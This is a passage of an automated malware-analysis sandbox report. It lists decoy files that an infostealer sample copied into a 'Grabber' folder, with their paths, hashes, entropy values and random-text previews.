Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS\QNCYCDFIJJ.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QNCYCDFIJJ.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	true
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QNCYCDFIJJ.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	true
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	true
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZQIXMVQGAH.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
